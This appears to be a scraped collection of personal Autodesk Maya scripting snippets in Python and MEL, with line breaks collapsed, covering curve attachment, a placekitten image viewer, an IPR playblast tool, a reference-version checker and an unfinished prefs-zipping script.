) length = mc.getAttr(ald+".arcLength") delta = fabs(length-targetLength) uDelta /= 2 if length>targetLength: uparam -= uDelta else: uparam += uDelta #print(str(uparam)+" "+str(uDelta)+" "+str(counter)+" "+str(length)) uParamsList.append(uparam) uParamsList.append(maxU) mc.delete(ald) return uParamsList
attach to curve with ribbon
import maya.cmds as mc from math import sqrt def attachToClosestPointOnCurve(useCurveOnSurface=True): #last element should be curve , no error checking - snaps to cloest point on mesh using motionPath sel = mc.ls(sl=1) curveObj = sel[len(sel)-1] sel.pop() if useCurveOnSurface: #positions = [] #for ob in sel: # positions.append(mc.xform(ob, q=1, ws=1, t=1)) #curve = mc.curve( d=1, p=positions) bb = mc.xform(curveObj,ws=1,bb=1,q=1) size = sqrt(pow(bb[3]-bb[0],2) + pow(bb[4]-bb[1],2) + pow(bb[5]-bb[2],2)) / 150 c1 = mc.offsetCurve(curveObj , d=(size)) c2 = mc.offsetCurve(curveObj , d=(-size)) spans = mc.getAttr(curveObj+".spans") lofted = mc.loft(c1, c2, d=1, po=0, ch=0, rn=True, ar=True, u=1, ss=1 ) uvalue = mc.getAttr(lofted[0]+".minMaxRangeU.maxValueU") mc.delete(c1,c2) surfCurve = mc.curveOnSurface(lofted, d=3, uv= ((uvalue/2 , spans) , (uvalue/2 , spans-spans/3) , (uvalue/2 , spans-spans/3 * 2) , (uvalue/2 , 0)), k=(0,0,0,1,1,1) ) curveObj = surfCurve npc = mc.createNode( 'nearestPointOnCurve') mc.connectAttr(mc.listRelatives(curveObj,s=1)[0]+".worldSpace[0]", npc+".inputCurve", f=1) for ob in sel: #parm = jc_closestPointOnCurve(mc.xform(ob, q=1, ws=1, t=1), curveObj) pos = mc.xform(ob, q=1, ws=1, t=1) mc.setAttr(npc+".inPosition", pos[0], pos[1], pos[2], type="double3") parm = mc.getAttr(npc+".parameter") #loc = mc.spaceLocator(n=ob+"_pointOnCurve") pathAnim = mc.pathAnimation( ob, c=curveObj ) inputs = mc.listConnections(pathAnim+".uValue", s=1) mc.disconnectAttr(inputs[0]+".output",pathAnim+".uValue") mc.setAttr(pathAnim+".uValue",parm) mc.delete(npc) attachToClosestPointOnCurve()
add kitten
import urllib2 import os import maya.cmds as cmds from random import randint def kitten(): tempDir = cmds.internalVar(userTmpDir=True) kitten = tempDir+'kitten.png'; f = open(kitten,'wb') x = randint(200,600) y = randint(200,600) err = f.write(urllib2.urlopen('http://placekitten.com/g/'+str(x)+'/'+str(y)).read()) f.close() window = cmds.window(t="miaow",widthHeight=(x,y)) cmds.paneLayout() cmds.image( image=kitten,bgc=[.6,.6,.6] ) cmds.showWindow( window ) kitten()
reload
import iprPlayblast reload(iprPlayblast) iprPlayblast.UI();
Ipr batch
//mel stuff source bernie whereIs RenderViewWindow setAttr "defaultRenderGlobals.imageFormat" 7; //8 32; RenderViewWindow; renderWindowRender redoPreviousIprRender renderView; stopIprRendering renderView; proc string pad(float $n){return ($n<1000)? ( ($n<100)?( ($n<10)?"000"+$n:"00"+$n ):"0"+$n ) : $n+"";} renderWindowRender redoPreviousIprRender renderView; float $e = `playbackOptions -query -maxTime`; float $s = `playbackOptions -query -minTime`; for($i = $s;$i<$e;$i++){ $startTime = `timerX`; while(`timerX -st $startTime`<5){ //nothing } $frame = pad(`currentTime -q`); $dir = `internalVar -utd`; renderWindowEditor -e -writeImage ($dir+"/temp"+$frame) renderView; playButtonStepForward; }
import maya.cmds as mc import threading import os def test(): print "test2" widgets = {} def UI(): if mc.window("iprPlayblast", exists = True): mc.deleteUI("iprPlayblast") widgets["window"] = mc.window("iprPlayblast", title = "Playblast IPR", mnb = False, mxb = False, resizeToFitChildren=1, w = 150, h = 100) mc.frameLayout( lv=0, borderStyle='etchedIn', mh=5, mw=5 ) mc.checkBoxGrp(numberOfCheckBoxes=1, label='', label1='Force IPR restart on each frame' ) mc.columnLayout() mc.intSliderGrp( label='Seconds per frame : ', field=True, minValue=0, fieldMaxValue=99999, value=30 ) mc.textFieldButtonGrp( label='Test timing : ', text='use "Start IPR"...', editable = False, buttonLabel='Start IPR') mc.setParent( '..' ) mc.separator( h=8 ) workspaceDir = mc.internalVar(uwd=True) widgets["displayFilenameGrp"] = mc.textFieldGrp( label='', text='', editable=False ) widgets["saveDirGrp"] = mc.textFieldButtonGrp( label='Save Dir : ', text=workspaceDir, buttonLabel='Browse', bc = UIgetDir) filename = os.path.splitext(os.path.basename(mc.file(q=True,sn=True)))[0] filename = ('temp',filename)[len(filename) != 0] widgets["saveFileGrp"] = mc.textFieldGrp( label='Filename : ', text=filename, editable=True, tcc = UIsetDisplayFilename ) widgets["imageFormatGrp"] = mc.optionMenuGrp( label='Format : ', changeCommand=UIsetDisplayFilename ) mc.menuItem( label='iff' ) mc.menuItem( label='jpg' ) mc.menuItem( label='png (not recommended)' ) widgets["paddingGrp"] = mc.intFieldGrp( numberOfFields=1, label='Padding : ', value1=4, cc = UIsetDisplayFilename) mc.separator( h=8 ) mc.intFieldGrp( numberOfFields=2, label='Start / End frame : ', value1= mc.playbackOptions(minTime=1,q=1), value2=mc.playbackOptions(maxTime=1,q=1)) mc.checkBoxGrp(numberOfCheckBoxes=1, label='', label1='Play sequence when done' ) mc.separator( h=8 ) mc.setParent( '..' ) mc.rowLayout(nc = 1,adjustableColumn=1,columnAttach=[(1, 'both', 0)]) mc.button(label="Playblast!", align='center',height=40 ) mc.setParent( '..' ) mc.rowLayout( nc = 2,columnWidth2=(150, 150), adjustableColumn=1, columnAlign=(2, 'right'), columnAttach=[(1, 'both', 0), (2, 'both', 0)] ) mc.button(label="Close", align='center' ) mc.button(label="Help", align='center' ) mc.setParent( '..' ) mc.showWindow(widgets["window"]) UIsetDisplayFilename() def UIsetDisplayFilename(*args): dir = mc.textFieldGrp(widgets["saveDirGrp"], query=True, text=True) file = mc.textFieldGrp(widgets["saveFileGrp"], query=True, text=True) format = mc.optionMenuGrp(widgets["imageFormatGrp"],query=True, sl=True) formatList = ("iff","jpg","png") formatType = (7,8,32) format = formatList[format-1] padding = mc.intFieldGrp( widgets["paddingGrp"],query=True, value1=True) frame = str(int(mc.currentTime( query=True ))) frame = frame.zfill(padding) mc.textFieldGrp(widgets["displayFilenameGrp"], edit = True, text=(dir+file+"."+frame+"."+format)) def UIsetFilename(*args): #widgets["saveFileGrp"].value print args[0] UIsetDisplayFilename() def UIgetDir(*args): returnPath = mc.fileDialog2(fm = 3, fileFilter = None, ds = 1, okc = "Choose folder") mc.textFieldButtonGrp(widgets["saveDirGrp"],text = os.path.normcase(returnPath[0]), edit = True) UIsetDisplayFilename() def UIgetSetFormat(*args) : format = mc.optionMenuGrp(widgets["imageFormatGrp"],query=True, ils=True) ''' timer code taken from Nathan Horne: http://nathanhorne.com/?p=116 Usage: def timerTest(): print 'Hello World!' #create and start a timer timer = Timer(30, timerTest, repeat=True) timer.start() #To stop the timer timer.stop() ''' try: from maya.utils import executeInMainThreadWithResult except: executeInMainThreadWithResult = None class Timer(threading.Thread): def __init__(self, interval, function, args=[], kwargs={}, repeat=True): self.interval = interval self.function = function self.repeat = repeat self.args = args self.kwargs = kwargs self.event = threading.Event() threading.Thread.__init__(self) def run(self): def _mainLoop(): self.event.wait(self.interval) if not self.event.isSet(): if executeInMainThreadWithResult: executeInMainThreadWithResult(self.function, *self.args, **self.kwargs) else: self.function(*self.args, **self.kwargs) if self.repeat: while not self.event.isSet(): _mainLoop() else: _mainLoop() self.stop() def start(self): self.event.clear() threading.Thread.start(self) def stop(self): self.event.set() threading.Thread.__init__(self)
Ref check wip
import maya.cmds as mc import maya.mel as mel from functools import partial from os import listdir from os.path import split, isfile, join, dirname import subprocess class refCheck(object): def __init__(self): self.UI() def buttonPush(*args): refPath = dirname(args[1]) refPath = refPath.replace('/', '\\') subprocess.Popen('explorer "%s"' % refPath) def UI(self): scene = mc.file(query=True,sn=True) allrefs = mc.file(query=True, list=True, withoutCopyNumber=True) fileRefs = sorted(list(set([item for item in allrefs if item.endswith('.ma') or item.endswith('.mb')]))) mc.window(title='Check latest Refs',resizeToFitChildren=1) mc.columnLayout(adjustableColumn=True, columnAlign='center',rowSpacing=10) mc.rowLayout(numberOfColumns=1) cmds.text(w=460,l="\nCheck if each ref and sub-ref is the latest in its folder"); cmds.setParent(upLevel=True) cmds.separator() for ref in fileRefs: if ref != scene: onlyfiles = [ f for f in listdir(split(ref)[0]) if isfile(join(split(ref)[0],f)) and f.endswith(('.mb','.ma')) ] #beautiful code below refFileName = ref.rpartition('/')[2] refStepName = ref.rpartition('/')[0].rpartition('/')[2]; refChar = ref.rpartition('/')[0].rpartition('/')[0].rpartition('/')[0]; refCharName = refChar.rpartition('/')[0].rpartition('/')[2]+" "+refChar.rpartition('/')[2]; refCharName = refCharName.lower(); latestRef = sorted(onlyfiles)[-1]; col = [.3,.8,.3]; if(refFileName!=latestRef): col = [.9,.1,.1]; mc.rowLayout(numberOfColumns=8) cmds.separator() cmds.button(w=50,l=refStepName,en=0) cmds.button(w=150,l=refCharName,bgc=col) cmds.text(w=270,l=" "+refFileName+" -> "+latestRef+" ") cmds.button(w=55,l="browse",c=partial(self.buttonPush, ref)) cmds.button(w=65,l="load latest") cmds.checkBox(l="") cmds.separator() cmds.setParent(upLevel=True) cmds.separator() mc.rowColumnLayout(nc=2,cs=(2,5)) cmds.button(w=85,l="load checked") cmds.button(w=85,l="close") cmds.setParent(upLevel=True) mc.showWindow() w = refCheck()
Upload Prefs to FTP wip
import maya.cmds as cmds import zipfile, os scriptDir = cmds.internalVar(usd=True) prefDir = cmds.internalVar(upd=True) presetDir = cmds.internalVar(ups=True) tempDir = cmds.internalVar(utd=True) #shelfDir = cmds.internalVar(ush=True) zfilename = tempDir+"mayaprefs.zip" zipf = zipfile.ZipFile(zfilename, "w", compression=zipfile.ZIP_DEFLATED ) path = prefDir recursive_zip(zipf, path) zipf.close() def recursive_zip(zipf, directory, folder=None): nodes = os.listdir(directory) for item in nodes: if os.path.isfile(item): zipf.write(item, folder, zipfile.ZIP_DEFLATED) elif os.path.isdir(item): recursive_zip(zipf, os.path.join(directory, item), item)